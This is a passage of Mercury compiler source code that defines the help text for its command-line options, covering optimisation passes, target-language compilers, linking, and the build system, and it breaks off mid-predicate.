out procedure arguments when the argument type\",\n        % \"\\tis a tuple or a type with exactly one functor.\",\n        % \"\\tNote: this is almost always a pessimization.\",\n        % \"--tuple\",\n        % \"\\tTry to find opportunities for procedures to pass some\",\n        % \"\\targuments to each other as a tuple rather than as\",\n        % \"\\tindividual arguments.\",\n        % \"\\tNote: so far this has mostly a detrimental effect.\",\n        % \"--tuple-trace-counts-file\",\n        % \"\\tSupply a trace counts summary file for the tupling\",\n        % \"\\ttransformation. The summary should be made from a sample\",\n        % \"\\trun of the program you are compiling, compiled without\",\n        % \"\\toptimizations.\",\n        % \"--tuple-costs-ratio\",\n        % \"\\tA value of 110 for this parameter means the tupling\",\n        % \"\\ttransformation will transform a procedure if it thinks\",\n        % \"\\tthat procedure would be 10% worse, on average, than\",\n        % \"\\twhatever transformed version of the procedure it has in\",\n        % \"\\tmind. The default is 100.\",\n        % \"--tuple-min-args\",\n        % \"\\tThe minimum number of input arguments that the tupling\",\n        % \"\\ttransformation will consider passing together as a\",\n        % \"\\ttuple. This is mostly to speed up the compilation\",\n        % \"\\tprocess by not pursuing (presumably) unfruitful searches.\",\n% This is for measurements by implementors only.\n%       \"--no-inline-par-builtins\",\n%       \"\\tGenerate calls to the predicates of par_builtin.m, instead of\",\n%       \"\\tbodily including their definitions as C code.\",\n%       Actually, this is the default for now.\n% This is for measurements by implementors only.\n%       \"--always-specialize-in-dep-par-conjs\",\n%       \"\\tWhen the transformation for handling dependent parallel conjunctions\",\n%       \"\\tadds waits and/or signals around a call, create a specialized\",\n%       \"\\tversion of the called procedure, even if this is not profitable.\",\n% '--region-analysis' is not documented because it is still experimental.\n%        \"--region-analysis\",\n%        \"\\tEnable the analysis for region-based memory management.\"\n    ]).\n\n:- pred options_help_hlds_llds_optimization(io::di, io::uo) is det.\n\noptions_help_hlds_llds_optimization -->\n    io.write_string(\"\\n    Medium-level (HLDS -> LLDS) optimizations:\\n\"),\n    write_tabbed_lines([\n        \"--no-smart-indexing\",\n        \"\\tGenerate switches as a simple if-then-else chains;\",\n        \"\\tdisable string hashing and integer table-lookup indexing.\",\n        \"--dense-switch-req-density <percentage>\",\n        \"\\tThe jump table generated for an atomic switch\",\n        \"\\tmust have at least this percentage of full slots (default: 25).\",\n        \"--lookup-switch-req-density <percentage>\",\n        \"\\tThe jump table generated for an atomic switch\",\n        \"\\tin which all the outputs are constant terms\",\n        \"\\tmust have at least this percentage of full slots (default: 25).\",\n        \"--dense-switch-size <n>\",\n        \"\\tThe jump table generated for an atomic switch\",\n        \"\\tmust have at least this many entries (default: 4).\",\n        \"--lookup-switch-size <n>\",\n        \"\\tThe lookup table generated for an atomic switch\",\n        \"\\tmust have at least this many entries (default: 4).\",\n        \"--string-hash-switch-size <n>\",\n        \"\\tThe hash table generated for a string switch\",\n        \"\\tmust have at least this many entries (default: 8).\",\n        \"--string-binary-switch-size <n>\",\n        \"\\tThe binary search table generated for a string switch\",\n        \"\\tmust have at least this many entries (default: 4).\",\n        \"--tag-switch-size <n>\",\n        \"\\tThe number of alternatives in a tag switch\",\n        \"\\tmust be at least this number (default: 3).\",\n        \"--try-switch-size <n>\",\n        \"\\tThe number of alternatives in a try/retry chain switch\",\n        \"\\tmust be at least this number (default: 3).\",\n        \"--binary-switch-size <n>\",\n        \"\\tThe number of alternatives in a binary search switch\",\n        \"\\tmust be at least this number (default: 4).\",\n% These options are only for performance tests.\n%       \"--switch-single-rec-base-first\",\n%       \"\\tIn a switch with two arms, one a base case and one with a single\",\n%       \"\\trecursive call, put the base case first.\n%       \"--switch-multi-rec-base-first\",\n%       \"\\tIn a switch with two arms, one a base case and one with multiple\",\n%       \"\\trecursive calls, put the base case first.\n        \"--no-static-ground-terms\",\n        \"\\tDisable the optimization of constructing constant ground terms\",\n        \"\\tat compile time and storing them as static constants.\",\n        \"\\tNote that auxiliary data structures created by the compiler\",\n        \"\\tfor purposes such as debugging will still be created as\",\n        \"\\tstatic constants.\",\n        \"--no-use-atomic-cells\",\n        \"\\tDon't use the atomic variants of the Boehm gc allocator calls,\",\n        \"\\teven when this would otherwise be possible.\",\n        \"--no-middle-rec\",\n        \"\\tDisable the middle recursion optimization.\",\n        \"--no-simple-neg\",\n        \"\\tDon't generate simplified code for simple negations.\"\n%       \"--no-allow-hijacks\",\n%       \"\\tDo not generate code in which a procedure hijacks\",\n%       \"\\ta nondet stack frame that possibly belongs to\",\n%       \"\\tanother procedure invocation\".\n    ]).\n\n:- pred options_help_llds_llds_optimization(io::di, io::uo) is det.\n\noptions_help_llds_llds_optimization -->\n    io.write_string(\"\\n    Low-level (LLDS -> LLDS) optimizations:\\n\"),\n    write_tabbed_lines([\n        \"--no-common-data\",\n        \"\\tDisable optimization of common data structures.\",\n        \"--no-common-layout-data\",\n        \"\\tDisable optimization of common subsequences in layout structures.\",\n        \"--no-llds-optimize\",\n        \"\\tDisable the low-level optimization passes.\",\n        \"--optimize-dead-procs\",\n        \"\\tEnable dead predicate elimination.\",\n        \"--no-optimize-peep\",\n        \"\\tDisable local peephole optimizations.\",\n% This is useful for developers only, to test whether a gcc bug has been fixed.\n%       \"--no-optimize-peep-mkword\",\n%       \"\\tDisable peephole optimizations of words created by mkword.\",\n        \"--no-optimize-jumps\",\n        \"\\tDisable elimination of jumps to jumps.\",\n        \"--no-optimize-fulljumps\",\n        \"\\tDisable elimination of jumps to ordinary code.\",\n        \"--pessimize-tailcalls\",\n        \"\\tDisable the optimization of tailcalls.\",\n        \"--checked-nondet-tailcalls\",\n        \"\\tConvert nondet calls into tail calls whenever possible, even\",\n        \"\\twhen this requires a runtime check. This option tries to\",\n        \"\\tminimize stack consumption, possibly at the expense of speed.\",\n        \"--no-use-local-vars\",\n        \"\\tDisable the transformation to use local variables in C code\",\n        \"\\tblocks wherever possible.\",\n% This is useful for developers only.\n%       \"--standardize-labels\",\n%       \"\\tStandardize internal labels in the generated code.\",\n        \"--no-optimize-labels\",\n        \"\\tDisable elimination of dead labels and code.\",\n        \"--optimize-dups\",\n        \"\\tEnable elimination of duplicate code within procedures.\",\n        \"--optimize-proc-dups\",\n        \"\\tEnable elimination of duplicate procedures.\",\n%%%     \"--optimize-copyprop\",\n%%%     \"\\tEnable the copy propagation optimization.\",\n        \"--no-optimize-frames\",\n        \"\\tDisable stack frame optimizations.\",\n        \"--no-optimize-delay-slot\",\n        \"\\tDisable branch delay slot optimizations.\",\n        \"--optimize-reassign\",\n        \"\\tOptimize away assignments to locations that already hold\",\n        \"\\tthe assigned value.\",\n        \"--optimize-repeat <n>\",\n        \"\\tIterate most optimizations at most <n> times (default: 3).\",\n        \"--layout-compression-limit <n>\",\n        \"\\tAttempt to compress the layout structures used by the debugger\",\n        \"\\tonly as long as the arrays involved have at most <n> elements\",\n        \"\\t(default: 4000).\"\n    ]).\n\n:- pred options_help_mlds_mlds_optimization(io::di, io::uo) is det.\n\noptions_help_mlds_mlds_optimization -->\n    io.write_string(\"\\n    MLDS -> MLDS optimizations:\\n\"),\n    write_tabbed_lines([\n        \"--no-mlds-optimize\",\n        \"\\tDisable the MLDS->MLDS optimization passes.\",\n        \"--no-mlds-peephole\",\n        \"\\tDo not perform peephole optimization of the MLDS.\",\n        \"--no-optimize-tailcalls\",\n        \"\\tTreat tailcalls as ordinary calls, rather than optimizing\",\n        \"\\tby turning self-tailcalls into loops.\",\n        \"--no-optimize-initializations\",\n        \"\\tLeave initializations of local variables as\",\n        \"\\tassignment statements, rather than converting such\",\n        \"\\tassignment statements into initializers.\",\n        \"--eliminate-local-vars\",\n        \"\\tEliminate local variables with known values, where possible,\",\n        \"\\tby replacing occurrences of such variables with their values.\",\n        \"--no-generate-trail-ops-inline\",\n        \"\\tDo not generate trailing operations inline,\",\n        \"\\tbut instead insert calls to the versions of these operations\",\n        \"\\tin the standard library.\"\n]).\n\n:- pred options_help_hlds_elds_optimization(io::di, io::uo) is det.\n\noptions_help_hlds_elds_optimization -->\n    io.write_string(\"\\n    HLDS -> ELDS optimizations:\\n\"),\n    write_tabbed_lines([\n        \"--erlang-switch-on-strings-as-atoms\",\n        \"\\tEnable a workaround for slow HiPE compilation of large string\",\n        \"\\tswitches by converting the string to an atom at runtime and\",\n        \"\\tswitching on atoms. Do not enable if the string switched on\",\n        \"\\tcould be longer than 255 characters at runtime.\"\n    ]).\n\n:- pred options_help_output_optimization(io::di, io::uo) is det.\n\noptions_help_output_optimization -->\n    io.write_string(\"\\n    Output-level (LLDS -> C) optimizations:\\n\"),\n    write_tabbed_lines([\n        \"--use-macro-for-redo-fail\",\n        \"\\tEmit the fail or redo macro instead of a branch\",\n        \"\\tto the fail or redo code in the runtime system.\",\n        \"\\tThis produces slightly bigger but slightly faster code.\",\n        \"--no-emit-c-loops\",\n        \"\\tUse only gotos, don't emit C loop constructs.\",\n        \"--procs-per-c-function <n>\",\n        \"\\tPut the code for up to <n> Mercury\",\n        \"\\tprocedures in a single C function.  The default\",\n        \"\\tvalue of <n> is one.  Increasing <n> can produce\",\n        \"\\tslightly more efficient code, but makes compilation slower.\",\n        \"--everything-in-one-c-function\",\n        \"\\tThis option has the effect of putting the code for all\",\n        \"\\tthe Mercury procedures in a single C function,\",\n        \"\\twhich produces the most efficient code but tends to\",\n        \"\\tseverely stress the C compiler on large modules.\",\n        \"--no-local-thread-engine-base\",\n        \"\\tDon't copy the thread-local Mercury engine base address\",\n        \"\\tinto local variables. This option only affects low-level\",\n        \"\\tparallel grades not using the global register variables\",\n        \"\\textension.\"\n    ]).\n\n:- pred options_help_target_code_compilation(io::di, io::uo) is det.\n\noptions_help_target_code_compilation -->\n    io.write_string(\"\\n    Target code compilation:\\n\"),\n    write_tabbed_lines([\n        \"\\tNote that if you are using Mmake, you need to pass these\",\n        \"\\toptions to the target code compiler (e.g. `mgnuc')\",\n        \"\\trather than to `mmc'.\",\n\n        \"--target-debug\",\n        \"\\tEnable debugging of the generated target code.\",\n        \"\\tIf the target language is C, this has the same effect as\",\n        \"\\t`--c-debug' (see below).\",\n        \"\\tIf the target language is IL or C#, this causes the compiler to\",\n        \"\\tpass `/debug' to the IL assembler or C# compiler.)\",\n\n        \"--cc <compiler-name>\",\n        \"\\tSpecify which C compiler to use.\",\n\n        \"--no-c-optimize\",\n        \"\\tDon't enable the C compiler's optimizations.\",\n\n        \"--no-ansi-c\",\n        \"\\tDon't specify to the C compiler that the ANSI dialect\",\n        \"\\tof C should be used.  Use the full contents of system\",\n        \"\\theaders, rather than the ANSI subset.\",\n\n        \"--c-debug\",\n        \"\\tEnable debugging of the generated C code.\",\n        \"\\t(This has the same effect as `--cflags \"\"-g\"\"'\",\n        \"\\tand disables stripping of the executable.)\",\n\n        \"--c-include-directory <dir>, --c-include-dir <dir>\",\n        \"\\tAppend <dir> to the list of directories to be searched for\",\n        \"\\tC header files.  Note that if you want to override\",\n        \"\\tthis list, rather than append to it, then you can set the\",\n        \"\\t`MERCURY_MC_ALL_C_INCL_DIRS' environment variable to a\",\n        \"\\tsequence of `--c-include-directory' options.\",\n\n        \"--inline-alloc\",\n        \"\\tInline calls to GC_malloc().\",\n        \"\\tThis can improve performance a fair bit,\",\n        \"\\tbut may significantly increase code size.\",\n        \"\\tThis option has no effect if `--gc boehm'\",\n        \"\\tis not set or if the C compiler is not GNU C.\",\n\n        \"--cflags <options>, --cflag <option>\",\n        \"\\tSpecify options to be passed to the C compiler.\",\n        \"\\t`--cflag' should be used for single words which need\",\n        \"\\tto be quoted when passed to the shell.\",\n\n        % The --gcc-flags, --gcc-flag, --clang-flags, --clang-flag,\n        % --msvc-flags and --msvc-flag options are an internal\n        % part of the implementation of mmc --make; they are deliberately\n        % not documented.\n\n        % The --cflags-for-regs, --cflags-for-gotos,\n        % --cflags-for-threads, --cflags-for-pic,\n        % --cflags-for-warnings, --cflags-for-ansi,\n        % --cflags-for-optimization, --c-flag-to-name-object-file,\n        % --object-file-extension, --pic-object-file-extension\n        % and --link-with-pic-object-file-extension\n        % options are reserved for use by the `mmc' script;\n        % they are deliberately not documented.\n\n        \"--javac <javac>\",\n        \"--java-compiler <javac>\",\n        \"\\tSpecify which Java compiler to use.  The default is `javac'.\",\n\n        \"--java-interpreter <java>\",\n        \"\\tSpecify which Java interpreter to use.\",\n        \"\\tThe default is `java'\",\n\n        \"--java-flags <options>, --java-flag <option>\",\n        \"\\tSpecify options to be passed to the Java compiler.\",\n        \"\\t`--java-flag' should be used for single words which need\",\n        \"\\tto be quoted when passed to the shell.\",\n\n        \"--java-classpath <path>\",\n        \"\\tSet the classpath for the Java compiler.\",\n\n        \"--java-object-file-extension <ext>\",\n        \"\\tSpecify an extension for Java object (bytecode) files\",\n        \"\\tBy default this is `.class'.\",\n\n% IL options are commented out to reduce confusion.\n%       \"--il-assembler <ilasm>\",\n%       \"\\tSpecify the name of the .NET IL Assembler command.\",\n%       \"--ilasm-flags <options>, --ilasm-flag <options>\",\n%       \"\\tSpecify options to be passed to the IL assembler.\",\n%       \"\\t`--ilasm-flag' should be used for single words which need\",\n%       \"\\tto be quoted when passed to the shell.\",\n\n        \"--csharp-compiler <csc>\",\n        \"\\tSpecify the name of the C# Compiler.  The default is `csc'.\",\n        \"--csharp-flags <options>, --csharp-flag <option>\",\n        \"\\tSpecify options to be passed to the C# compiler.\",\n        \"\\t`--csharp-flag' should be used for single words which need\",\n        \"\\tto be quoted when passed to the shell.\",\n        \"--cli-interpreter <prog>\",\n        \"\\tSpecify the program that implements the Common Language\",\n        \"\\tInfrastructure (CLI) execution environment, e.g. `mono'.\",\n\n        \"--erlang-compiler <erlc>\",\n        \"\\tSpecify the name of the Erlang compiler.\",\n        \"\\tThe default is `erlc'.\",\n        \"--erlang-interpreter <erl>\",\n        \"\\tSpecify the name of the Erlang interpreter.\",\n        \"\\tThe default is `erl'.\",\n        \"--erlang-flags <options>, --erlang-flag <option>\",\n        \"\\tSpecify options to be passed to the Erlang compiler.\",\n        \"\\t`--erlang-flag' should be used for single words which need\",\n        \"\\tto be quoted when passed to the shell.\",\n        \"--erlang-include-directory <dir>, --erlang-include-dir <dir>\",\n        \"\\tAppend <dir> to the list of directories to be searched for\",\n        \"\\tErlang header files (.hrl).\",\n        \"--erlang-native-code\",\n        \"\\tAdd `+native' to the list of flags passed to the\",\n        \"\\tErlang compiler.  Cancelled out by `--no-erlang-native code'\",\n        \"\\tso it is useful when you wish to enable native code\",\n        \"\\tgeneration for all modules except for a select few.\",\n        \"--no-erlang-inhibit-trivial-warnings\",\n        \"\\tDo not add `+nowarn_unused_vars +nowarn_unused_function' to the\",\n        \"\\tlist of flags passed to the Erlang compiler.\"\n\n        % --erlang-object-file-extension is deliberately not documented.\n        % It is not fully implemented and not very useful.\n    ]).\n\n:- pred options_help_link(io::di, io::uo) is det.\n\noptions_help_link -->\n    io.write_string(\"\\nLink Options:\\n\"),\n    write_tabbed_lines([\n        \"-o <filename>, --output-file <filename>\",\n        \"\\tSpecify the name of the final executable.\",\n        \"\\t(The default executable name is the same as the name\",\n        \"\\tof the first module on the command line.)\",\n        \"\\tThis option is ignored by `mmc --make'.\",\n        \"--ld-flags <options>, --ld-flag <option>\",\n        \"\\tSpecify options to be passed to the linker command\",\n        \"\\tinvoked by ml to link an executable.\",\n        \"\\tUse `ml --print-link-command' to find out which\",\n        \"\\tcommand is used.\",\n        \"\\t`--ld-flag' should be used for single words which need\",\n        \"\\tto be quoted when passed to the shell.\",\n        \"--ld-libflags <options>, --ld-libflag <option>\",\n        \"\\tSpecify options to be passed to the linker command\",\n        \"\\tinvoked by ml to link a shared library.\",\n        \"\\tUse `ml --print-shared-lib-link-command' to find out\",\n        \"\\twhich command is used.\",\n        \"\\t`--ld-libflag' should be used for single words which need\",\n        \"\\tto be quoted when passed to the shell.\",\n        \"-L <directory>, --library-directory <directory>\",\n        \"\\tAppend <directory> to the list of directories in which\",\n        \"\\tto search for libraries.\",\n        \"-R <directory>, --runtime-library-directory <directory>\",\n        \"\\tAppend <directory> to the list of directories in which\",\n        \"\\tto search for shared libraries at runtime.\",\n        \"--shlib-linker-install-name-path <directory>\",\n        \"\\tSpecify the path where a shared library will be installed.\",\n        \"\\tThis option is useful on systems where the runtime search\",\n        \"\\tpath is obtained from the shared library and not via the\",\n        \"\\t-R option above (such as Mac OS X).\",\n        \"-l <library>, --library <library>\",\n        \"\\tLink with the specified library.\",\n        \"--link-object <object-file>\",\n        \"\\tLink with the specified object file.\",\n        \"--search-lib-files-dir <directory>\",\n        \"--search-library-files-directory <directory>\",\n        \"\\tSearch <directory> for Mercury library files have not yet been\",\n        \"\\tinstalled.  Similar to adding <directory> using all of the\",\n        \"\\t`--search-directory', `--intermod-directory',\",\n        \"\\t`--library-directory', `--init-file-directory' and\",\n        \"\\t`--c-include-directory' options.\",\n        \"--mld <directory>, --mercury-library-directory <directory>\",\n        \"\\tAppend <directory> to the list of directories to\",\n        \"\\tbe searched for Mercury libraries. This will add\",\n        \"\\t`--search-directory', `--library-directory',\",\n        \"\\t`--init-file-directory' and `--c-include-directory'\",\n        \"\\toptions as needed.\",\n        \"--mercury-standard-library-directory <directory>\",\n        \"--mercury-stdlib-dir <directory>\",\n        \"\\tSearch <directory> for the Mercury standard library.\",\n        \"\\tImplies `--mercury-library-directory <directory>'\",\n        \"\\tand `--mercury-configuration-directory <directory>'.\",\n        \"--no-mercury-standard-library-directory\",\n        \"--no-mercury-stdlib-dir\",\n        \"\\tDon't use the Mercury standard library.\",\n        \"\\tImplies `--no-mercury-configuration-directory'.\",\n        \"--ml <library>, --mercury-library <library>\",\n        \"\\tLink with the specified Mercury library.\",\n\n        \"--linkage {shared|static}\",\n        \"\\tSpecify whether to use shared or static linking for\",\n        \"\\texecutables.  Shared libraries are always linked\",\n        \"\\twith `--linkage shared'.\",\n        \"--mercury-linkage {shared|static}\",\n        \"\\tSpecify whether to use shared or static linking when\",\n        \"\\tlinking an executable with Mercury libraries.\",\n        \"\\tShared libraries are always linked with\",\n        \"\\t`--mercury-linkage shared'.\",\n\n        \"--init-file-directory <directory>\",\n        \"\\tAppend <directory> to the list of directories to\",\n        \"\\tbe searched for `.init' files by c2init.\",\n        \"--init-file <init-file>\",\n        \"\\tAppend <init-file> to the list of `.init' files to\",\n        \"\\tbe passed to c2init.\",\n        \"--trace-init-file <init-file>\",\n        \"\\tAppend <init-file> to the list of `.init' files to\",\n        \"\\tbe passed to c2init when tracing is enabled.\",\n\n        \"--no-strip\",\n        \"\\tDon't strip executables.\",\n        \"--no-demangle\",\n        \"\\tDon't pipe link errors through the Mercury demangler.\",\n        \"--no-main\",\n        \"\\tDon't generate a C main() function.  The user's code must\",\n        \"\\tprovide a main() function.\",\n        \"--no-allow-undefined\",\n        \"\\tDo not allow undefined symbols in shared libraries.\",\n        \"--no-use-readline\",\n        \"\\tDisable use of the readline library in the debugger.\",\n        \"--runtime-flags <flags>\",\n        \"\\tSpecify flags to pass to the Mercury runtime.\",\n        \"--extra-initialization-functions, --extra-inits\",\n        \"\\tSearch `.c' files for extra initialization functions.\",\n        \"\\t(This may be necessary if the C files contain\",\n        \"\\thand-coded C code with `INIT' comments, rather than\",\n        \"\\tcontaining only C code that was automatically generated\",\n        \"\\tby the Mercury compiler.)\",\n\n        \"--link-executable-command <command>\",\n        \"\\tSpecify the command used to invoke the linker when linking\",\n        \"\\tan executable.\",\n        \"--link-shared-lib-command <command>\",\n        \"\\tSpecify the command used to invoke the linker when linking\",\n        \"\\ta shared library.\",\n\n        \"--java-archive-command <command>\",\n        \"\\tSpecify the command used to produce Java archive (JAR) files.\",\n\n        \"--framework <framework>\",\n        \"\\tBuild and link against the specified framework.\",\n        \"\\t(Mac OS X only.)\",\n        \"-F <directory>, --framework-directory <directory>\",\n        \"\\tAppend the specified directory to the framework search path.\",\n        \"\\t(Mac OS X only.)\"\n\n        % The --shared-library-extension,\n        % --library-extension, --executable-file-extension\n        % --create-archive-command, --create-archive-command-flags\n        % --create-archive-command-output-flag, --ranlib-command,\n        % --ranlib-flags,\n        % --mkinit-command, --demangle-command, --filtercc-command,\n        % --trace-libs,\n        % --thread-libs, --shared-libs, --math-lib, --readline-libs,\n        % --hwloc-libs, --hwloc-static-libs,\n        % --linker-opt-separator,\n        % --linker-debug-flags, --shlib-linker-debug-flags,\n        % --linker-trace-flags, --shlib-linker-trace-flags,\n        % --linker-thread-flags, --shlib-linker-thread-flags,\n        % --linker-static-flags, --linker-strip-flag,\n        % --linker-link-lib-flag, --linker-link-lib-suffix,\n        % --shlib-linker-link-lib-flag, --shlib-linker-link-lib-suffix,\n        % --linker-path-flag, --linker-link-with-lib-flag,\n        % --linker-rpath-flag, --linker-rpath-separator,\n        % --shlib-linker-link-with-lib-flag,\n        % --shlib-linker-rpath-flag, --shlib-linker-rpath-separator,\n        % --linker-allow-undefined-flag and\n        % --linker-error-undefined-flag,\n        % --shlib-linker-install-name-flag,\n        % --shlib-linker-use-install-name,\n        % options are reserved for use by the `Mercury.config' file;\n        % they are deliberately not documented.\n    ]).\n\n:- pred options_help_build_system(io::di, io::uo) is det.\n\noptions_help_build_system -->\n    io.write_string(\"\\nBuild System Options:\\n\"),\n    write_tabbed_lines([\n        % `--invoked-by-mmc-make' is for internal use by the\n        % compiler. `mmc --make' passes it as the first argument\n        % when compiling a module.\n        \"-m, --make\",\n        \"\\tTreat the non-option arguments to `mmc' as files to\",\n        \"\\tmake, rather than source files.  Create the specified\",\n        \"\\tfiles, if they are not already up-to-date.\",\n        \"\\tNote that this option also enables `--use-subdirs'.\",\n        \"-r, --rebuild\",\n        \"\\tSame as `--make', but always rebuild the target files\",\n        \"\\teven if they are up to date.\",\n        \"-k, --keep-going\",\n        \"\\tWith `--make', keep going as far as\",\n        \"\\tpossible even if an error is detected.\",\n        \"-j <n>, --jobs <n>\",\n        \"\\tWith `--make', attempt to perform up to <n> jobs\",\n        \"\\tconcurrently for some tasks.\",\n\n        \"--track-flags\",\n        \"\\tWith `--make', keep track of the options used when compiling\",\n        \"\\teach module.  If an option for a module is added or removed,\",\n        \"\\t`mmc --make' will then know to recompile the module even if the\",\n        \"\\ttimestamp on the file itself has not changed.  Warning,\",\n        \"\\tverbosity and build system options are not tracked.\",\n\n        \"--pre-link-command <command>\",\n        \"\\tSpecify a command to run before linking with `mmc --make'.\",\n        \"\\tThis can be used to compile C source files which rely on\",\n        \"\\theader files generated by the Mercury compiler.\",\n        \"\\tThe command will be passed the names of all of the source\",\n        \"\\tfiles in the program or library, with the source file\",\n        \"\\tcontaining the main module given first.\",\n\n        \"--extra-init-command <command>\",\n        \"\\tSpecify a command to produce extra entries in the `.init'\",\n        \"\\tfile for a library.\",\n        \"\\tThe command will be passed the names of all of the source\",\n        \"\\tfiles in the program or library, with the source file\",\n        \"\\tcontaining the main module given first.\",\n\n        \"--install-prefix <dir>\",\n        \"\\tThe directory under which to install Mercury libraries.\",\n\n        % --use-symlinks is only used by Mercury.config.\n        % It controls whether the build system should attempt\n        % to use symlinks.\n\n        \"--install-command <command>\",\n        \"\\tSpecify the command to use to install the files in\",\n        \"\\tMercury libraries. The given command will be invoked as\",\n        \"\\t`<command> <source> <target>' to install each file\",\n        \"\\tin a Mercury library. The default command is `cp'.\",\n        \"--install-command-dir-option <option>\",\n        \"\\tSpecify the flag to pass to the install command to install\",\n        \"\\ta directory. The given command will be invoked as\",\n        \"\\t`<command> <option> <source> <target>'\",\n        \"\\tto install each directory. The default option is `-r'.\",\n        \"--libgrade <grade>\",\n        \"\\tAdd <grade> to the list of compilation grades in\",\n        \"\\twhich a library to be installed should be built.\",\n        \"--no-libgrade\",\n        \"\\tClear the list of compilation grades in which a library\",\n        \"\\tto be installed should be built.\",\n        \"--libgrades-include-component <component>\",\n        \"--libgrades-include <component>\",\n        \"\\tRemove grades that do not contain the specified component from\",\n        \"\\tthe set of library grades to be installed.\",\n        \"\\t(This option does not work with Mmake, only `mmc --make'.)\",\n        \"--libgrades-exclude-component <component>\",\n        \"--libgrades-exclude <component>\",\n        \"\\tRemove grades that contain the specified component from the\",\n        \"\\tset of library grades to be installed.\",\n        \"\\t(This option does not work with Mmake, only `mmc --make'.)\",\n        \"--lib-linkage {shared|static}\",\n        \"\\tSpecify whether libraries should be installed for shared\",\n        \"\\tor static linking.  This option can be specified multiple\",\n        \"\\ttimes.  By default libraries will be installed for\",\n        \"\\tboth shared and static linking.\",\n        \"--flags <file>\",\n        \"--flags-file <file>\",\n        \"\\tTake options from the specified file, and handle them\",\n        \"\\tas if they were specified on the command line.\",\n        \"--options-file <file>\",\n        \"\\tAdd <file> to the list of options files to be processed.\",\n        \"\\tIf <file> is `-', an options file will be read from the\",\n        \"\\tstandard input.  By default the file `Mercury.options'\",\n        \"\\tin the current directory will be read.\",\n        \"--options-search-directory <dir>\",\n        \"\\tAdd <dir> to the list of directories to be searched for\",\n        \"\\toptions files.\",\n        \"--mercury-configuration-directory <directory>\",\n        \"--mercury-config-dir <directory>\",\n        \"\\tSearch <directory> for Mercury system's configuration files.\",\n        \"--config-file <file>\",\n        \"\\tRead the Mercury compiler's configuration information\",\n        \"\\tfrom <file>.  If the `--config-file' option is not set,\",\n        \"\\ta default configuration will be used, unless\",\n        \"\\t`--no-mercury-stdlib-dir' is passed to mmc.\",\n        \"\\tThe configuration file is just an options file.\",\n        \"-I <dir>, --search-directory <dir>\",\n        \"\\tAppend <dir> to the list of directories to be searched for\",\n        \"\\timported modules.\",\n        \"--intermod-directory <dir>\",\n        \"\\tAdd <dir> to the list of directories to be\",\n        \"\\tsearched for `.opt' files.\",\n        \"--no-use-search-directories-for-intermod\",\n        \"\\tDon't add arguments to `--search-directory' to the list\",\n        \"\\tof directories to search for `.opt' files - use only the\",\n        \"\\tdirectories given by `--intermod-directory'.\",\n        \"--use-subdirs\",\n        \"\\tGenerate intermediate files in a `Mercury' subdirectory,\",\n        \"\\trather than generating them in the current directory.\",\n        \"--use-grade-subdirs\",\n        \"\\tGenerate intermediate files in a `Mercury' subdirectory,\",\n        \"\\tlaid out so that multiple grades can be built simultaneously.\",\n        \"\\tExecutables and libraries will be symlinked or copied into\",\n        \"\\tthe current directory.\",\n        \"\\t`--use-grade-subdirs' does not work with Mmake (it does\",\n        \"\\twork with `mmc --make').\",\n        \"--no-libgrade-install-check\",\n        \"\\tDo not check that libraries have been installed before\",\n        \"\\tattempting to use them.  (This option is only meaningful with\",\n        \"\\t`mmc --make'.)\",\n        \"--order-make-by-timestamp\",\n        \"\\tMake `mmc --make' compile more recently modified source files\",\n        \"\\tfirst.\",\n        \"--show-make-times\",\n        \"\\tReport run times for commands executed by `mmc --make'.\",\n        \"--extra-library-header <file>, --extra-lib-header <file>\",\n        \"\\tInstall the specified C header file with along with\",\n        \"\\ta Mercury library.\",\n        \"\\t(This option is only supported by `mmc --make'.)\",\n        \"--restricted-command-line\",\n        \"\\tEnable this option if your shell doesn't support long command lines.\",\n        \"\\tThis option uses temporary files to pass arguments to sub-commands.\",\n        \"\\t(This option is only supported by `mmc --make'.)\",\n        \"--env-type <type>\",\n        \"\\tSpecify the environment type in which the compiler and generated\",\n        \"\\tprograms will be invoked.\",\n        \"\\tThe <type> should be one of `posix', `cygwin', `msys', or `windows'.\",\n        \"\\tThis option is equivalent to setting both --host-env-type and\",\n        \"\\t--target-env-type to <type>.\",\n        \"--host-env-type <type>\",\n        \"\\tSpecify the environment type in which the compiler will be\",\n        \"\\tinvoked.\",\n        \"--target-env-type <type>\",\n        \"\\tSpecify the environment type in which generated programs will be\",\n        \"\\tinvoked.\"\n    ]).\n\n:- pred options_help_misc(io::di, io::uo) is det.\n\noptions_help_misc -->\n    io.write_string(\"\\nMiscellaneous Options:\\n\"),\n    write_tabbed_lines([\n        \"--filenames-from-stdin\",\n        \"\\tRead then compile a newline terminated module name or\",\n        \"\\tfile name from the standard input. Repeat this until EOF\",\n        \"\\tis reached. (This allows a program or user to interactively\",\n        \"\\tcompile several modules without the overhead of process\",\n        \"\\tcreation for each one.)\",\n        \"--typecheck-ambiguity-warn-limit <n>\",\n        \"\\tSet the number of type assignments required to generate a\",\n        \"\\twarning about highly ambiguous overloading to <n>.\",\n        \"--typecheck-ambiguity-error-limit <n>\",\n        \"\\tSet the number of type assignments required to generate an error\",\n        \"\\tabout excessively ambiguous overloading to <n>. If this limit is\",\n        \"\\treached, the typechecker will not process the predicate or\",\n        \"\\tfunction any further.\",\n        \"--version\",\n        \"\\tDisplay the compiler version.\",\n\n        % The `--fullarch' option is reserved for\n        % use by the `Mercury.config' file.\n\n        \"--cross-compiling\",\n        \"\\tDo not assume that the code being generated is for the\",\n        \"\\tplatform the compiler is running on.\",\n\n        % The `--local-module-id' option is used by `mmc --make'.\n        % The `--analysis-file-cache-dir' option is used by `mmc --make'.\n\n%        \"--ignore-parallel-conjunctions\",\n%        \"\\tReplace parallel conjunctions with plain ones, this is useful\",\n%        \"\\tfor benchmarking.  Note that it does not affect implicit\",\n%        \"\\tparallelism\",\n\n        \"--control-granularity\",\n        \"\\tDon't try to generate more parallelism than the machine can\",\n        \"\\thandle, which may be specified at runtime or detected\",\n        \"\\tautomatically.\",\n        \"--distance-granularity <distance>\",\n        \"\\tControl the granularity of parallel execution using the\",\n        \"\\tspecified distance value.\",\n        \"--implicit-parallelism\",\n        \"\\tIntroduce parallel conjunctions where it could be worthwhile\",\n        \"\\t(implicit parallelism) using information generated by\",\n        \"\\tmdprof_create_feedback.\",\n        \"\\tThe profiling feedback file can be specified using the\",\n        \"\\t--feedback file option.\",\n\n        \"--feedback-file\",\n        \"\\tUse the specified profiling feedback file which may currently\",\n        \"\\tonly be processed for implicit parallelism.\"\n    ]).\n\n:- pred write_tabbed_lines(list(string)::in, io::di, io::uo) is det.\n\nwrite_tabbed_lines([], !IO).\nwrite_tabbed_lines([Str | Strs], !IO) :-\n    io.write_char('\\t', 